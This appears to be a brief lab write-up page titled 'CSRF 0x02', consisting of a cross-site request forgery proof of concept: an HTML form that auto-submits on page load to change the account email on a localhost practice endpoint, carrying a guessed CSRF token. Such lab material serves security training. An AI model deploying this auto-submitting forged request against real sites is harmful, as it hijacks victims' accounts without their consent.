CSRF 0x02





Last updated





Last updated
<html>
<body>
<form action="http://localhost/labs/csrf0x02.php" method="post">
<input type="text" name="email" value="tryingcsrf@csrf.com" >
<input type="text" name="csrf" id="csrf" value="kyouwashere" hidden>
<button type="submit">Submit</button>
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
</body>
</html>file:///home/kali/bug-bounty/csrf2.html